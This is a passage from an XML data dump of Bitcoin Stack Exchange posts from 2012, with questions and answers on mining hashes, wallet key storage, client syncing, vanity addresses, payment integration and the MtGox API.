data, using the midstate as the other eight int inputs. This yields: &lt;code&gt;3993002029, 2278477219, 3977673643, 191934125, 2075691039, 4115259165, 601235791, 2598049038&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, what do I use as inputs for the second hash function in the &quot;double-hash&quot;? Or did calculating the midstate count as the first hash computation?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And when the nonce overflows, should I submit another &lt;code&gt;getwork&lt;/code&gt; request or wait until I've checked the nonces in the range of [0, original_nonce_value)? (Assuming my analysis that the given nonce is &lt;code&gt;21474836481&lt;/code&gt; is correct?)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, if our &lt;code&gt;target&lt;/code&gt; value from the &lt;code&gt;getwork&lt;/code&gt; request is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We need to switch the endianness of this value, yielding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then we convert this to eight 32-bit unsigned ints, yielding: &lt;code&gt;0, 4294967295, 4294967295, 4294967295, 4294967295, 4294967295, 4294967295, 4294967295&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I believe after the second SHA-256 hash we should have eight 32-bit unsigned ints. Lastly, we should compare these eight output ints against our eight target ints (from left to right in the array, so comparing output[0] against the target's 0, then output[1] against 4294967295, etc.) and if our output is less than the target, we convert our eight int values to hex strings, switch the endianness, concatenate them in the same order (output[0]'s hex string is the first set of eight characters), and submit it back to the pool server in a &lt;code&gt;getwork&lt;/code&gt; completion &lt;code&gt;POST&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How much of this is correct, and where am I misinterpreting the protocol?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help is appreciated; thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="2306" LastEditDate="2016-03-15T23:29:02.643" LastActivityDate="2016-03-15T23:29:02.643" Title="How does a miner perform hashing?" Tags="|hash|sha256|getwork|mining-technical-details|endianness|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5111" PostTypeId="1" CreationDate="2012-10-19T22:42:18.373" Score="1" ViewCount="293" Body="&lt;p&gt;I am programming a specialty wallet software. I am able to generate a EC_key and valid bitcoin addresses. I am not sure what to save to a wallet file in order to recover the EC_key in the future. Must I save both the private and the public key? Can I just save the private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the preferred format to save these keys and what openssl function should I use to restore the keys?&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2012-12-19T09:02:06.677" Title="What to save in a wallet?" Tags="|wallet|private-key|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5112" PostTypeId="1" CreationDate="2012-10-19T22:46:00.710" Score="4" ViewCount="2188" Body="&lt;p&gt;I used QT to generate an address, and have received some coins, but they're not showing up because it hasn't synced yet. It looks like syncing will take 2 days. Can I access the coins before then? Maybe dumping the wallet and importing with another client?&lt;/p&gt;&#xA;" OwnerUserId="2085" LastEditorUserId="516" LastEditDate="2017-10-30T07:40:47.237" LastActivityDate="2017-10-30T07:40:47.237" Title="Is there a way to access my BItcoins before Bitcoin qt syncs?" Tags="|bitcoin-core|wallet|synchronization|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5113" PostTypeId="1" CreationDate="2012-10-20T00:30:54.030" Score="4" ViewCount="1070" Body="&lt;p&gt;With the bitcoin-qt client, I'd like to have multiple wallets use a single set of blockchain data files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Downloading a fresh copy of the blockchain can take days, and each copy of the blockchain seems to be ~ 5GB large.  This feels somewhat wasteful if coins are spread about multiple wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I do not want to run multiple instances of bitcoin-qt simultaneously as I'm sure this would result in a bad time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping this could be accomplished using the -datadirs option and symlinking blkindex.dat and blk000X.dat files to a central location.  But it seems like I'd have to create new symlinks in each datadir everytime a new blk000X.dat gets created :(&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2012-10-20T07:36:01.847" Title="Can I reuse blockchain/index files with multiple wallets?" Tags="|blockchain|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5114" PostTypeId="2" ParentId="5111" CreationDate="2012-10-20T07:26:48.330" Score="1" Body="&lt;p&gt;If you want to save your keys as a proper wallet.dat file, you would need to comply with its format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to store your keys for some other purposes, you only need to save the private keys (public ones can be recreated, you can &lt;a href=&quot;http://gobittest.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;check out my testing suite&lt;/a&gt; for that). You can save them in any format, but &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;Wallet Import Format&lt;/a&gt; might be the best choice - it is compact and includes a checksum.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-20T07:26:48.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5115" PostTypeId="2" ParentId="5112" CreationDate="2012-10-20T07:32:30.507" Score="2" Body="&lt;p&gt;You can either import the keys into an &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aEWallets&quot; rel=&quot;nofollow&quot;&gt;eWallet&lt;/a&gt; that allows for that, or try taking your wallet to someone else who has a fully synchronised Bitcoin client. If you replace their wallet with yours (remember to make a backup!), the client should synchronise your wallet with the network and you will see your transactions. You can take the updated wallet.dat file back with you and use it until your Bitcoin synchronises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of those options carry risk - in the first case you entrust the safety of your Bitcoins to a third party, and in the second case - to your friend. The risk could be mitigated (for example, encrypting your wallet will still let it be synchronised, but the private keys will be safer), but should always be kept in mind.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-20T07:32:30.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5116" PostTypeId="2" ParentId="5113" CreationDate="2012-10-20T07:36:01.847" Score="1" Body="&lt;p&gt;You can swap wallets around and synchronise them up with the same block chain data files - you would just need to replace the wallet.dat files in the Bitcoin's data directory. The client would only synchronise once with the network and later be able to synchronise your wallet files independently. Keeping up with which wallet is synchronised and which isn't might be a bit of a hassle though. I don't know of a client that can operate multiple wallet.dat files simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-20T07:36:01.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5117" PostTypeId="2" ParentId="3139" CreationDate="2012-10-20T10:48:16.703" Score="9" Body="&lt;p&gt;&lt;strong&gt;!WARNING! The vanity address site below was hacked in December, 2013, but the site owner only recently posted an update admitting the hack: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=118968.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=118968.0&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;More than 4 Bitcoins total have been stolen to date, as you can see from Blockchain records (note the number of vanity addresses dumping coins, and you'll see that probability alone is proof, supported by all of the users who lost their BTC):  &lt;a href=&quot;https://blockchain.info/tx/9e95fd443621d3d9fc150f290144401feb1627573c9161beb08edb472069a819&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/9e95fd443621d3d9fc150f290144401feb1627573c9161beb08edb472069a819&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The site owner has taken down the site, but for how long is up in the air. As Stack Exchange keeps long archives, I wanted to make sure this warning stuck here for all to see, but did not want to edit the original response.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;a href=&quot;https://bitcoinvanity.appspot.com&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoinvanity.appspot.com&lt;/a&gt;&#xA;All done for you on their website and nothing to install.&#xA;Is secure as they never know the private key - see help on site for how this is possible!&lt;/p&gt;&#xA;" OwnerUserId="2089" LastEditorUserId="14859" LastEditDate="2014-03-27T10:49:29.580" LastActivityDate="2014-03-27T10:49:29.580" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5118" PostTypeId="2" ParentId="5108" CreationDate="2012-10-20T22:45:28.773" Score="2" Body="&lt;p&gt;You need whats called a Power Filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are varying levels of filters, some cut the tops off of AC signals, others take dirty input current and consume it, then create a completely new AC signal for device use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C2 is a good intro, but if you want superior protection, look for something called a Power Conditioner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are links to the current leading brand:&#xA;&lt;a href=&quot;http://www.google.com/search?hl=en&amp;amp;tbm=shop&amp;amp;q=apc+power+filter&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?hl=en&amp;amp;tbm=shop&amp;amp;q=apc+power+filter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.apc.com/products/category.cfm?id=15&amp;amp;subid=85&quot; rel=&quot;nofollow&quot;&gt;http://www.apc.com/products/category.cfm?id=15&amp;amp;subid=85&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2090" LastActivityDate="2012-10-20T22:45:28.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5119" PostTypeId="2" ParentId="3139" CreationDate="2012-10-21T09:46:57.240" Score="8" Body="&lt;p&gt;You can generate a vanity address using various generators, such as &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot;&gt;Vanitygen&lt;/a&gt; for example. This option assumes you have a computer with decent GPU, as creating a long vanity address requires a lot of computation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have a particularly good piece of hardware and would still like to own a lengthy address, recently split-key vanity address mining became a bit popular. You can use online websites, such as my &lt;a href=&quot;https://vanitypool.appspot.com/&quot;&gt;Vanity Pool&lt;/a&gt;, to request a vanity address to be mined for you for a fee. If you want to understand how this option is possible and risk-free, you can find the discussion of this problem on the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=84569.0&quot;&gt;Vanity Pool Bitcoin Talk topic&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-21T09:46:57.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5120" PostTypeId="2" ParentId="5112" CreationDate="2012-10-21T19:02:09.603" Score="0" Body="&lt;p&gt;Blockhain.info offers a browser-based tool that will sync a Blockchain.info/wallet with your local Bitcoin-Qt wallet.dat (and vice-versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use this you set up RPC on your client (bitcoin.conf contacins rpcuser=,rpcpassword=) and then run Bitcoin-Qt as a server (-server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you use the browser plug-in (on Chrome, or the Blockchain verifier tool for Firefox or Safari) and perform a sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then spend the funds from Blockchain.info/wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/wallet/demo-account#sync-bitcoind&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/demo-account#sync-bitcoind&lt;/a&gt;  &amp;lt;-- Demo account, don't sync with this wallet, ... use your own Blockchain.info/wallet when you do the RPC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-21T19:02:09.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5121" PostTypeId="1" CreationDate="2012-10-21T19:23:44.720" Score="5" ViewCount="162" Body="&lt;p&gt;Something like &quot;wanted&quot; classified advertisements is needed. Silk Road only sell offensive merchandise, no method to post wanted ads. Interested in purchase electronics, other legal unobjectionable products. Does website like this exist?&lt;/p&gt;&#xA;" OwnerUserId="2060" LastEditorUserId="121614" LastEditDate="2023-10-15T16:51:56.877" LastActivityDate="2023-10-15T16:51:56.877" Title="Do forum or website exist where can buy things not usually sold with bitcoin?" Tags="|websites|marketplace|silk-road|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5122" PostTypeId="1" CreationDate="2012-10-21T20:12:55.850" Score="0" ViewCount="149" Body="&lt;p&gt;If i want to send money, Who gives the payment address. You know, it is said there are no center. &#xA;Another question is that if someone send money to me, who help me  put the money into my account? &lt;/p&gt;&#xA;" OwnerUserId="2093" LastActivityDate="2012-10-21T21:23:43.793" Title="what's the principle of sending money and receiving money? who do the work to put money into account？" Tags="|receiving|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5123" PostTypeId="1" AcceptedAnswerId="36245" CreationDate="2012-10-21T20:30:56.793" Score="8" ViewCount="591" Body="&lt;p&gt;Say, for security reasons, that a bitcoin business has an online wallet (aka hot wallet) with enough coins for day-to-day operations. The rest of the funds are in an offline wallet (aka cold wallet or cold storage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the online servers detect when coins are sent to the offline wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be (easily?) done with bitcoind or is another bitcoin client needed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technical details may be interesting, but I think more important is how a merchant can achieve this sort of functionality.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-02-27T14:56:24.647" Title="How can an online system detect coins sent to its offline (cold) wallet?" Tags="|transactions|security|coldstorage|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5124" PostTypeId="1" CreationDate="2012-10-21T20:40:24.050" Score="3" ViewCount="286" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5347/best-way-to-safely-host-a-high-volume-online-transactional-wallet&quot;&gt;Best way to safely host a high volume online transactional wallet?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;There have been numerous incidents where bitcoin services have been hacked and large amounts of bitcoins have been stolen. There was even an exchange that accidentally deleted its only copy of its bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which best practices should a service or merchant follow when handling bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-11-20T22:51:20.140" Title="Best practices for service/merchant handling bitcoins" Tags="|security|coldstorage|" AnswerCount="1" CommentCount="0" ClosedDate="2012-11-21T00:39:54.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="5126" PostTypeId="2" ParentId="5122" CreationDate="2012-10-21T21:23:43.793" Score="2" Body="&lt;p&gt;An individual or merchant requesting payment will generally want to obtain a bitcoin address specific for that transaction.  When done manually, this is obtained from the Bitcoin-Qt client by clicking &quot;Receive&quot;.  A merchant would have software that would query the Bitcoin.org client to obtain the address. An EWallet provider will provide for you this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept you possibly are misunderstanding is like how with a bank account, the account is assigned to an individual or organization before payment is transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, the client uses math to create the private key (and from that determine the Bitcoin address).  So there doesn't need to be some master registry where Bitcoin addresses are stored.  The person's client simply holds the keys necessary to spend any funds received by an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that answers your second question -- bitcoin never really exist &quot;in your account&quot; but instead if you have the private key for an address, you can spend any funds received by that address.  Every node performs verification of your transaction and won't accept a transaction in which you try to spend funds that aren't yours.   Nodes that are mining will make these transactions permanent by including them in a sequence of data blocks -- which is named the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are no people doing work, and instead there is simply an electronic communications protocol that is being employed.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-21T21:23:43.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5127" PostTypeId="2" ParentId="367" CreationDate="2012-10-21T21:40:32.390" Score="4" Body="&lt;p&gt;While not a crypto expert, security guru Steve Gibson covered Bitcoin in his podcast Security Now on February 9 2011.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://twit.tv/sn287&quot; rel=&quot;nofollow&quot;&gt;Audio&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.grc.com/sn/sn-287.htm&quot; rel=&quot;nofollow&quot;&gt;Transcript&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1842" LastEditorDisplayName="user3930" LastEditDate="2013-07-19T15:27:17.380" LastActivityDate="2013-07-19T15:27:17.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5128" PostTypeId="2" ParentId="5121" CreationDate="2012-10-21T22:05:13.773" Score="2" Body="&lt;p&gt;The Marketplace on BitcoinTalk can be used.  Simply prefix your post's title with &quot;[WTB]&quot; which means &quot;Want To Buy&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Discussion:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=64607.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=64607.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Marketplace board:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?board=5.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?board=5.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, the Bitcoin-otc marketplace can be used to place requests, if you are looking to buy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin-otc.com/vieworderbook.php&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/vieworderbook.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-21T22:05:13.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5129" PostTypeId="2" ParentId="5124" CreationDate="2012-10-21T22:19:47.360" Score="0" Body="&lt;p&gt;This is probably best conveyed using the wiki:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Securing_online_services&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Securing_online_services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-21T22:19:47.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5130" PostTypeId="2" ParentId="5121" CreationDate="2012-10-22T08:21:09.943" Score="2" Body="&lt;p&gt;Bitcoin classifieds &#xA;&lt;a href=&quot;http://www.bitcoinclassifieds.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinclassifieds.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Music &amp;amp; other digital goods at&#xA;&lt;a href=&quot;http://www.coindl.com&quot; rel=&quot;nofollow&quot;&gt;http://www.coindl.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2096" LastActivityDate="2012-10-22T08:21:09.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5131" PostTypeId="2" ParentId="4092" CreationDate="2012-10-22T10:39:51.463" Score="0" Body="&lt;p&gt;I would not trust any preloaded blockchain, or a precompiled bitcoind for that matter. Bitronic Technologies offers &lt;a href=&quot;http://www.bitronictech.net/vps-hosting.php&quot; rel=&quot;nofollow&quot; title=&quot;VPS Hosting&quot;&gt;VPS&lt;/a&gt; that can run almost any major flavor of linux via Xen PV and you can most certainly compile/install bitcoind on them.&lt;/p&gt;&#xA;" OwnerUserId="1840" LastActivityDate="2012-10-22T10:39:51.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5133" PostTypeId="1" AcceptedAnswerId="5142" CreationDate="2012-10-22T19:49:33.600" Score="5" ViewCount="894" Body="&lt;p&gt;I am implementing a website where some users can create surveys and pay the people that complete them with bitcoins. What steps should I follow to implement this payment system? Like, information needed from each party, steps to take to confirm payment, etc.&lt;/p&gt;&#xA;" OwnerUserId="2098" LastEditorUserId="5406" LastEditDate="2013-11-08T12:42:13.900" LastActivityDate="2023-02-20T20:04:50.863" Title="How should I integrate Bitcoin payments in an online service?" Tags="|website-integration|payment-processors|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5141" PostTypeId="1" CreationDate="2012-10-23T04:13:57.197" Score="4" ViewCount="462" Body="&lt;p&gt;Are there any resources available to find people who are interested in starting a Bitcoin-related business?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer comments:&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for both partners who want to start a business and investors. Something related to bitcoin that is delivered via internet. Perhaps a stock exchange denominated in Bitcoin, algorithmic trading in Bitcoin, etc. I am open to many different ideas.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2012-10-23T14:08:15.033" LastActivityDate="2012-10-23T15:41:18.383" Title="How to find partners for a Bitcoin business?" Tags="|services|business|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5142" PostTypeId="2" ParentId="5133" CreationDate="2012-10-23T06:37:40.520" Score="4" Body="&lt;h2&gt;Survey order:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You ought to have a system that uniquely identifies the survey and assigned it some string of characters. This can be just a simple number, or something more complex.&lt;/li&gt;&#xA;&lt;li&gt;You need to use that unique id to request a Bitcoin address form bitcoind with a unique account name derived from that id. I would also advise hashing the account name, so in case your wallet gets compromised your customers' information won't get leaked.&lt;/li&gt;&#xA;&lt;li&gt;You will present that Bitcoin address to the survey owner to send their Bitcoins to.&lt;/li&gt;&#xA;&lt;li&gt;You should periodically check bitcoind for new transactions. In order to avoid double-spends, you should wait until you get at least 1 confirmation (preferably 6) on the transaction before letting the survey go live.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Survey is live:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You need to have a system that uniquely identifies the users filling out the survey, so they won't do the same survey twice.&lt;/li&gt;&#xA;&lt;li&gt;Each user will need to provide their withdraw address (and you should check whether it is okay)&lt;/li&gt;&#xA;&lt;li&gt;You should track who fills out a particular survey and keep a log of their addresses. This way you would be able to make a single payment to all of them at the end of the day, rather than make an individual payment to each person. This would save you money on transaction fees.&lt;/li&gt;&#xA;&lt;li&gt;You can either make payments from the account unique to the survey, or move all the money into a single payout account and send payments from there. The latter would make the user receive only one payment, rather than be spammed with many. And again, this would lower your transaction fees.&lt;/li&gt;&#xA;&lt;li&gt;You need to keep track of how much money is left for each survey and when to switch it off. You can either do that internally, or through appropriate balances in bitcoind (moving money from the account each time someone completes the survey).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These should be the basics. As always, keep your wallet secure, password protected and backed up. In case you have any more questions, you can always ask them on this StackExchange. If you need consulting, you can contact me (ThePiachu-gmail-com).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-23T06:37:40.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5144" PostTypeId="2" ParentId="5141" CreationDate="2012-10-23T15:41:18.383" Score="5" Body="&lt;p&gt;I think posting your ambitions here would return quite some feedback/interest:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?board=12.0&quot;&gt;https://bitcointalk.org/index.php?board=12.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2101" LastActivityDate="2012-10-23T15:41:18.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5145" PostTypeId="1" AcceptedAnswerId="5153" CreationDate="2012-10-23T15:58:35.507" Score="6" ViewCount="792" Body="&lt;p&gt;I'm using the MTGox API to get data about historic trades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run &lt;a href=&quot;https://mtgox.com/api/1/BTCGBP/public/trades?since=&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/api/1/BTCGBP/public/trades?since=&lt;/a&gt;{trade_id}, I get the latest 500 trades since that {trade_id}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have for example these two trades returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Trade #1&#xA;{&#xA;    &quot;date&quot;:1342135345,&#xA;    &quot;price&quot;:&quot;4.77728&quot;,&#xA;    &quot;amount&quot;:&quot;5107.98029213&quot;,&#xA;    &quot;price_int&quot;:&quot;477728&quot;,&#xA;    &quot;amount_int&quot;:&quot;510798029213&quot;,&#xA;    &quot;tid&quot;:&quot;1342135345801755&quot;,&#xA;    &quot;price_currency&quot;:&quot;GBP&quot;,&#xA;    &quot;item&quot;:&quot;BTC&quot;,&#xA;    &quot;trade_type&quot;:&quot;bid&quot;,&#xA;    &quot;primary&quot;:&quot;Y&quot;,&#xA;    &quot;properties&quot;:&quot;market,mixed_currency&quot;&#xA;},&#xA;&#xA;Trade #2&#xA;{&#xA;    &quot;date&quot;:1342136454,&#xA;    &quot;price&quot;:&quot;4.78&quot;,&#xA;    &quot;amount&quot;:&quot;0.02000488&quot;,&#xA;    &quot;price_int&quot;:&quot;478000&quot;,&#xA;    &quot;amount_int&quot;:&quot;2000488&quot;,&#xA;    &quot;tid&quot;:&quot;1342136454726203&quot;,&#xA;    &quot;price_currency&quot;:&quot;GBP&quot;,&#xA;    &quot;item&quot;:&quot;BTC&quot;,&#xA;    &quot;trade_type&quot;:&quot;bid&quot;,&#xA;    &quot;primary&quot;:&quot;N&quot;,&#xA;    &quot;properties&quot;:&quot;limit,mixed_currency&quot;&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the different properties: &quot;market,mixed_currency&quot; &amp;amp; &quot;limit,mixed_currency&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the difference between a market and a limit property? What do both mean? (I couldn't find it here &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;what does it mean for a trade to be mixed_currency?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoincharts does seem to include all trades regardless of the limit/market/mixed currency, is this the right approach if you want to have a honest view of all markets?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2102" LastEditorUserId="1475" LastEditDate="2013-04-19T07:34:50.687" LastActivityDate="2013-04-19T07:34:50.687" Title="What is the difference between a market and limit property in the MTGox API?" Tags="|mtgox|api|properties|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5146" PostTypeId="1" CreationDate="2012-10-23T19:25:38.970" Score="2" ViewCount="157" Body="&lt;p&gt;Recently the &lt;a href=&quot;http://bitcoinfriday.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Friday&lt;/a&gt; event was announced. What is it all about?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-23T19:25:38.970" Title="What is the Bitcoin Friday?" Tags="|websites|history|promotion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5147" PostTypeId="2" ParentId="5146" CreationDate="2012-10-23T19:25:38.970" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinfriday.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Friday&lt;/a&gt; is an event coordinated by some of the biggest Bitcoin sites, including MtGox, BitInstant and SatoshiDice to bring big discounts to Bitcoin users on their sites. The event will take place on Friday, 2012 11 09.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-23T19:25:38.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
